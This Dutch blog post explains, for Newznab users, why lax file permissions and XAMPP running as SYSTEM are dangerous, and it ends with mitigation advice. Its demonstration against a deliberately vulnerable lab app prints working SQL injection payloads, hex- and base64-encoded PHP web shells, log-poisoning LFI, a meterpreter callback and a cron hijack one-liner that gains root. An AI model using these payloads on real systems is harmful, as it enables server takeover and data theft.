chpwn

Door Slurpgeit op maandag 11 februari 2013 22:18 - Reacties (13)
Categorie: -, Views: 5.402

Dit verhaaltje komt eigenlijk doordat ik wel eens wat lees in het Newznab topic. Iedereen moet natuurlijk wel makkelijk die thuiskopietjes van zijn / haar muziek en films kunnen binnenhalen :).

Wat mij echter opviel is dat meerdere tweakers aanbevelen om tijdens de installatie de webuser alle rechten te geven op de newznab map, of om alle bestanden wereldwijd lees- en schrijfbaar te maken. Dit is, om het zwak uit te drukken, een erg slecht idee (Begrijp me niet verkeerd, dit is geen bashen. Meer, informeren :) ).

Ook zie ik een hoop mensen XAMPP gebruiken om op Windows een webservertje te draaien. Deze heeft eigenlijk hetzelfde probleem. Vandaar dat dit keer het blogje opgedeeld gaat worden in twee scenario's.

Windows met XAMPP
Het leuke van deze setup is, dat bij een standaard installatie de XAMPP services (Apache, MySQL, etc) als de "SYSTEM" gebruiker draaien, de gebruiker met de hoogste rechten binnen een Windows omgeving:
https://dl.dropbox.com/u/7521450/blog/chpwn/windows_system.png

Het probleem hiermee is dat als er een fout ontdekt wordt in Newznab (of als je een andere kwetsbare applicatie op dezelfde server host) een aanvaller met meerdere vingers in zijn / haar neus de server kan overnemen. Hoe? Read on..

Ok, denk even mee. Naast Newznab heb je dus nog een website draaien op je webserver. En deze is kwetsbaar voor SQL-Injection. In mijn geval heb ik de "Damn Vulnerable WebApp" gedownload en op mijn Windows server gezet. Dit is een softwarepakketje wat met opzet lek is voor allerlei dingen, je weet wel, om mee te spelen :).

De standaard SQLMAP / HAVIJ scriptjongere zal hier al wat standaard truukjes mee uit kunnen halen. Ik denk aan usernames en wachtwoorden achterhalen door te zoeken op:
1' union all select concat(user,':',password),'' from users -- 

https://dl.dropbox.com/u/7521450/blog/chpwn/union_select.png
(Wat je hier ziet is gebruikersnamen en wachtwoorden in het formaat <gebruiker>:<wachtwoord in md5 hash>).

Je zou deze eventueel ook nog vrij makkelijk kunnen kraken:
https://dl.dropbox.com/u/7521450/blog/chpwn/john.png

Maaarrrrrrrrr, dat is nog niet alles! Omdat MySQL hier als "SYSTEM" draait, heeft het proces ook toegang tot (bijna) alle bestanden en mappen. Daarnaast kan MySQL resultaat ook nog eens wegschrijven naar een bestand. Dus als we de volgende query uitvoeren:
1' union all select 'hello world','' into dumpfile 'c:/xampp/htdocs/hello.html' -- 


zal MySQL de tekst "hello world" in het bestand "c:\xampp\htdocs\hello.html" (de standaard webroot van XAMPP) zetten. Dit kan je vervolgens ook nog eens controleren door naar de website/hello.html te surfen:
https://dl.dropbox.com/u/7521450/blog/chpwn/helloworld.png
(adminadmin staat erbij omdat dat de output van de normale zoekfuntionaliteit is.)

Cool! Maar, aan alleen HTML hebben we niks. Laat de server nu ook PHP ondersteunen.. Maar wat kan PHP voor ons betekenen in deze aanval? Denk even aan het volgende kleine stukje PHP code:

PHP:
1
<?php echo "<pre>".htmlentities(shell_exec($_GET['cmd']))."</pre>"; ?>



Misschien dat je het al herkent, maar dit stukje PHP voert een commando wat je meegeeft in de url (?cmd=dir, bijvoorbeeld) uit op het onderliggende systeem, en geeft de output terug. Nu moeten we het alleen op het systeem krijgen. Door de rare tekens ($, ', ", ;, etc) kan het nog wel eens fout gaan. Maar, gelukkig, kan MySQL ook overweg met Hexadecimale karakters. Dus, even de code omzetten van ASCII naar HEX:
https://dl.dropbox.com/u/7521450/blog/chpwn/asciihex.png

En aan MySQL doorgeven met de volgende query:
1' union all select 0x3c3f706870206563686f20223c7072653e222e68746d6c656e746974696573287368656c6c5f6578656328245f4745545b27636d64275d29292e223c2f7072653e223b203f3e,'' into dumpfile 'c:/xampp/htdocs/shell.php' -- 


Even kijken of het gewerkt heeft:
https://dl.dropbox.com/u/7521450/blog/chpwn/shell.png

https://dl.dropbox.com/u/7521450/blog/chpwn/whoami_win.png

W00p! Oke, dus we kunnen commando's op de server uitvoeren als "SYSTEM". Alleen is deze shell verder vrij beperkt. Ik heb even snel een iets uitgebreider shelletje gemaakt:
https://dl.dropbox.com/u/7521450/blog/chpwn/simshell.png

Hij is met opzet wat onleesbaar, omdat hij gemaakt is om via een URL te injecteren. Daarom is hij zo compact mogelijk. Mocht je hem ook willen testen:

PHP:
1
<?php error_reporting(0);if($_SERVER['REMOTE_ADDR']=='192.168.1.202'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value='".$he(str_replace('\\','/',getcwd()))."'>".$it."submit value=Up>";$fs=$_FILES['f'];if (isset($fs)){move_uploaded_file($fs['tmp_name'],$_POST['l'].'/'.$fs['name']);echo" Upped!";}$gc=$_POST['c'];echo"</form>".$fo.">".$it."text name=c value='".$he($gc)."'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>



Zo zou hij eruit zien als het normale PHP was geweest:

PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
error_reporting(0);

if($_SERVER['REMOTE_ADDR']=='192.168.1.202'){
    $he=htmlentities;
    $fo="<form method=post ";
    $it=" <input type=";
    
    echo $fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value='".$he(str_replace('\\','/',getcwd()))."'>".$it."submit value=Up>";
    
    $fs=$_FILES['f'];
    if (isset($fs)){
        move_uploaded_file($fs['tmp_name'],$_POST['l'].'/'.$fs['name']);
        echo" Upped!";
    }
    
    $gc=$_POST['c'];
    echo"</form>".$fo.">".$it."text name=c value='".$he($gc)."'>".$it."submit value=Execute>";
    if(isset($gc)){
        echo"<pre>".$he(`$gc 2>&1`)."</pre>";
    }
}
?>



Basically, is het een shell net als de andere, alleen heeft deze ook upload funcionaliteit, en wordt error reporting uitgezet en alles verzonden via POST. Dit om een beetje anoniem te blijven door niet in de server logs op te duiken :). Daarnaast zit er ook een 'beveiliging' in, die ervoor zorgt dat hij alleen op mijn IP reageert. Het verdient geen schoonheidsprijs, maar het werkt. Dus, via een soortgelijke manier ook even deze shell op de server plaatsen:
1' union all select 0x3c3f706870206572726f725f7265706f7274696e672830293b696628245f5345525645525b2752454d4f54455f41444452275d3d3d273139322e3136382e312e32303227297b2468653d68746d6c656e7469746965733b24666f3d223c666f726d206d6574686f643d706f737420223b2469743d22203c696e70757420747970653d223b6563686f24666f2e22656e63747970653d6d756c7469706172742f666f726d2d646174613e222e2469742e2266696c65206e616d653d663e20546f3a20222e2469742e2274657874206e616d653d6c2076616c75653d27222e246865287374725f7265706c61636528275c5c272c272f272c676574637764282929292e22273e222e2469742e227375626d69742076616c75653d55703e223b2466733d245f46494c45535b2766275d3b6966202869737365742824667329297b6d6f76655f75706c6f616465645f66696c65282466735b27746d705f6e616d65275d2c245f504f53545b276c275d2e272f272e2466735b276e616d65275d293b6563686f2220557070656421223b7d2467633d245f504f53545b2763275d3b6563686f223c2f666f726d3e222e24666f2e223e222e2469742e2274657874206e616d653d632076616c75653d27222e24686528246763292e22273e222e2469742e227375626d69742076616c75653d457865637574653e223b69662869737365742824676329297b6563686f223c7072653e222e246865286024676320323e263160292e223c2f7072653e223b7d7d3f3e0a,'' into dumpfile 'c:/xampp/htdocs/simshell.php' -- 


Und:
https://dl.dropbox.com/u/7521450/blog/chpwn/simshell_2.png

Zo, dat is wat makkelijker. Nu kunnen we via Metasploit even een backdoor genereren om meer controle over het systeem te krijgen. Dus we kiezen onze meterpreter payload en voeren wat opties in (vooral waar hij naar moet terugverbinden):
https://dl.dropbox.com/u/7521450/blog/chpwn/msypayload.png

En we genereren een .exe bestand om te uploaden:
https://dl.dropbox.com/u/7521450/blog/chpwn/msfgenerate.png

Stap 3, uploaden naar de webserver:
https://dl.dropbox.com/u/7521450/blog/chpwn/upload.png

https://dl.dropbox.com/u/7521450/blog/chpwn/upload2.png

Stap 4, op onze machine iets starten wat de bevinding kan opvangen:
https://dl.dropbox.com/u/7521450/blog/chpwn/handler.png

Stap 5, uitvoeren van de .exe op de webserver:
https://dl.dropbox.com/u/7521450/blog/chpwn/execute.png

Profit:
https://dl.dropbox.com/u/7521450/blog/chpwn/session1.png

En, omdat ook Apache als "SYSTEM" draait:
https://dl.dropbox.com/u/7521450/blog/chpwn/getuid.png

Volledige toegang tot het Windows systeem. Vanaf hier kan je je aanval gaan uitbreiden over de rest van het netwerk. Of gewoon even een screenshotje maken to see what's going on :) :
https://dl.dropbox.com/u/7521450/blog/chpwn/screenshot1.png
https://dl.dropbox.com/u/7521450/blog/chpwn/screenshot2.png

Ok? Ok. Linux time!

Ubuntu met LAMP
Gelijk vanaf het begin zijn er al verschillen. Zo draait Apache netjes onder een eigen user (standaard www-data), en mag deze user niet zomaar bestanden lezen / aanpassen. Voor dit scenario heb ik wederom de Damn Vulnerable WebApp geÔnstalleerd om een fout in newznab / andere applicatie te simuleren. Dit keer gaan we voor Local File Inclusion (LFI). Oftewel, openen van bestanden die eigenlijk niet bij de website horen. Dit soort kwetsbaarheden kan je herkennen aan dit soort URL's:
https://dl.dropbox.com/u/7521450/blog/chpwn/lfi1.png

De kwetsbare code lijkt meestal hier op:
https://dl.dropbox.com/u/7521450/blog/chpwn/lfi2.png

Dus, als je "?page=about.php" in de url intikt, krijg je de about page. Tik je "?page=login.php", krijg je de login pagina. Maar, als dit niet goed afgedicht is, kan je ook "?page=../../../../../../etc/passwd" of zelfs "?page=/etc/passwd" gebruiken om een compleet ander bestand te openen (/etc/passwd):
https://dl.dropbox.com/u/7521450/blog/chpwn/passwd.png

"Boeie, je kan nu niks webschrijven". Klopt, niet direct, maar we kunnen wel andere bestanden uitlezen waar we zelf ook invloed op hebben. Denk aan bijvoorbeeld het logbestand "/var/log/apache2/other_vhosts_access.log". In dit bestand worden alle requests opgeslagen, samen met wat info over de persoon die het opvraagt:
https://dl.dropbox.com/u/7521450/blog/chpwn/vhostslog.png

Sommige delen van deze info hebben we zelf invloed op, zoals bijvoorbeeld de user agent. Zo kan je met de proxy Burp dingen aanpassen voor je het naar de webserver stuurt. Bijvoorbeeld:
https://dl.dropbox.com/u/7521450/blog/chpwn/phpinforeq.png

Hiermee komt de PHP code:

PHP:
1
<? phpinfo() ?>



in het logbestand terecht. Als we deze vervolgens weer bekijken door de url "http://dvwa/vulnerabilities/fi/?page=/var/log/apache2/other_vhosts_access.log" te bezoeken gaat de webserver dit bestand uitlezen. Op een gegeven moment komt hij de PHP code tegen en denkt "Hey, dit is PHP! Dat moet ik uitvoeren!". Het resultaat:
https://dl.dropbox.com/u/7521450/blog/chpwn/phpinfo.png

Oftewel, we kunnen zelf PHP code uitvoeren op de server, al dan niet met een omweg. Nu is het idee om op deze manier onze shell weg te schrijven. Om dat te doen pakken we weer dezelfde code:

PHP:
1
<?php error_reporting(0);if($_SERVER['REMOTE_ADDR']=='192.168.1.202'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value='".$he(str_replace('\\','/',getcwd()))."'>".$it."submit value=Up>";$fs=$_FILES['f'];if (isset($fs)){move_uploaded_file($fs['tmp_name'],$_POST['l'].'/'.$fs['name']);echo" Upped!";}$gc=$_POST['c'];echo"</form>".$fo.">".$it."text name=c value='".$he($gc)."'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>



We voegen voor elke ' en \ een extra \ toe om te zorgen dat die tekens ge-escaped (is dat een werkwoord?) worden, in plaats van geÔnterpreteerd:

PHP:
1
<?php error_reporting(0);if($_SERVER[\'REMOTE_ADDR\']==\'192.168.1.202\'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value=\'".$he(str_replace(\'\\\\\',\'/\',getcwd()))."\'>".$it."submit value=Up>";$fs=$_FILES[\'f\'];if (isset($fs)){move_uploaded_file($fs[\'tmp_name\'],$_POST[\'l\'].\'/\'.$fs[\'name\']);echo" Upped!";}$gc=$_POST[\'c\'];echo"</form>".$fo.">".$it."text name=c value=\'".$he($gc)."\'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>



Dan voegen we een stukje code toe om het geheel weg te schrijven naar het bestand "/var/www/dvwa/shell.php":

PHP:
1
fwrite(fopen('/var/www/dvwa/shell.php', 'w'), '<?php error_reporting(0);if($_SERVER[\'REMOTE_ADDR\']==\'192.168.1.202\'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value=\'".$he(str_replace(\'\\\\\',\'/\',getcwd()))."\'>".$it."submit value=Up>";$fs=$_FILES[\'f\'];if (isset($fs)){move_uploaded_file($fs[\'tmp_name\'],$_POST[\'l\'].\'/\'.$fs[\'name\']);echo" Upped!";}$gc=$_POST[\'c\'];echo"</form>".$fo.">".$it."text name=c value=\'".$he($gc)."\'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>');



En, omdat het ook hier niet direct ingevoerd kan worden, converteren we het naar Base64 en gooien we er een PHP functie omheen die de code tijdens het lezen converteert en uitvoert:

PHP:
1
<?php eval(base64_decode('ZndyaXRlKGZvcGVuKCcvdmFyL3d3dy9kdndhL3NoZWxsLnBocCcsICd3JyksICc8P3BocCBlcnJvcl9yZXBvcnRpbmcoMCk7aWYoJF9TRVJWRVJbXCdSRU1PVEVfQUREUlwnXT09XCcxOTIuMTY4LjEuMjAyXCcpeyRoZT1odG1sZW50aXRpZXM7JGZvPSI8Zm9ybSBtZXRob2Q9cG9zdCAiOyRpdD0iIDxpbnB1dCB0eXBlPSI7ZWNobyRmby4iZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPiIuJGl0LiJmaWxlIG5hbWU9Zj4gVG86ICIuJGl0LiJ0ZXh0IG5hbWU9bCB2YWx1ZT1cJyIuJGhlKHN0cl9yZXBsYWNlKFwnXFxcXFwnLFwnL1wnLGdldGN3ZCgpKSkuIlwnPiIuJGl0LiJzdWJtaXQgdmFsdWU9VXA+IjskZnM9JF9GSUxFU1tcJ2ZcJ107aWYgKGlzc2V0KCRmcykpe21vdmVfdXBsb2FkZWRfZmlsZSgkZnNbXCd0bXBfbmFtZVwnXSwkX1BPU1RbXCdsXCddLlwnL1wnLiRmc1tcJ25hbWVcJ10pO2VjaG8iIFVwcGVkISI7fSRnYz0kX1BPU1RbXCdjXCddO2VjaG8iPC9mb3JtPiIuJGZvLiI+Ii4kaXQuInRleHQgbmFtZT1jIHZhbHVlPVwnIi4kaGUoJGdjKS4iXCc+Ii4kaXQuInN1Ym1pdCB2YWx1ZT1FeGVjdXRlPiI7aWYoaXNzZXQoJGdjKSl7ZWNobyI8cHJlPiIuJGhlKGAkZ2MgMj4mMWApLiI8L3ByZT4iO319Pz4nKTs=')); ?>



Dit prakken we in de "User-Agent" header:
https://dl.dropbox.com/u/7521450/blog/chpwn/user-agent.png

En we voeren de code uit door weer de pagina "http://dvwa/vulnerabilities/fi/?page=/var/log/apache2/other_vhosts_access.log" te bezoeken. Hierna surfen we naar website/shell.php en aanschouw:
https://dl.dropbox.com/u/7521450/blog/chpwn/shell_ubt.png

Vanaf hier kunnen we weer hetzelfde truukje uithalen om een shell op het systeem te krijgen (executable genereren, handler starten, executable uitvoeren). Het enige probleem is dat Ubuntu standaard net iets veiliger is:
https://dl.dropbox.com/u/7521450/blog/chpwn/session_unix.png

Zoals je ziet kunnen we hier alleen commando's uitvoeren onder de beperkte user "www-data", dus kunnen we nog niet echt spannende dingen doen, toch?

Mensen met veel punten voor het geheugen gedeelte van de IQ test 2013 voelen nu een klein lichtje opkomen. Tijdens het installeren van Newznab heb je namelijk de gebruiker "www-data" eigenaar gemaakt van alle bestanden. Dat houdt in dat deze gebruiker die bestanden ook kan uitvoeren.

Als je dan ook nog eens weet dat voor het correct functioneren van Newznab, er automatisch om de zoveel tijd een PHP scriptje gerund moet worden, ga je al automatisch in de "crontab" (de Linux taakplanner) kijken:
https://dl.dropbox.com/u/7521450/blog/chpwn/crontab.png

Het belangrijke staat hier omcirkeld. In gewone mensentaal staat daar dat elke 10 minuten de gebruiker 'root' het php script 'update_binaries.php' draait. Het goede nieuws voor ons is dat dit bestandje in de Newznab map staat, en dat de gebruiker 'www-data' hier eigenaar van is. Dus we gooien het volgende commando los:

mv /var/www/newznab/misc/update_scripts/update_binaries.php /var/www/newznab/misc/update_scripts/update_binaries_old.php && echo '<?php `/var/www/dvwa/meterpreter.bin`; include "/var/www/newznab/misc/update_scripts/update_binaries_old.php" ?>' > /var/www/newznab/misc/update_scripts/update_binaries.php


https://dl.dropbox.com/u/7521450/blog/chpwn/update_binaries.png

Wat dit commando doet is het oude 'update_binaries.php' kopiŽren naar 'update_binaries_old.php'. Vervolgens wordt er in het bestand 'update_binaries.php' een commando gezet om onze gegenereerde executable uit te voeren, en vervolgens (om geen argwaan te wekken) het bestand 'update_binaries_old.php' uit te voeren. And now we wait.. Tot ongeveer 10 minuten later:

https://dl.dropbox.com/u/7521450/blog/chpwn/Session4.png

En, omdat het bestand gestart wordt als de gebruiker 'root':

https://dl.dropbox.com/u/7521450/blog/chpwn/root.png

Root!

Voorkomen

Windows:
  • Draai Apache, MySQL, etc als een aparte gebruiker.
  • Geef deze gebruiker zo weinig mogelijk rechten.
  • Optioneel: Blokkeer zoveel mogelijk uitgaande verbindingen.
Linux:
  • Maak de webuser niet de eigenaar van de webroot.
  • Zet de bestandsrechten zo strak mogelijk. Geef alleen schrijfrechten waar strikt noodzakelijk.
  • Optioneel: Blokkeer zoveel mogelijk uitgaande verbindingen.
  • Optioneel: Draai elke website als een andere user.
Oh, en tot slot, even een notitie voor de nginx gebruikers. Tijdens het testen heb ik ook even naar newznab zelf gekeken. Het bleek dat onder Apache alle bestanden waar gebruikers niets te zoeken hebben netjes afgeschermd zijn met een '.htaccess' file. Nginx negeert deze bestanden echter compleet, dus het is wel even de moeite waard om hier in de config even regels voor te fabriceren :).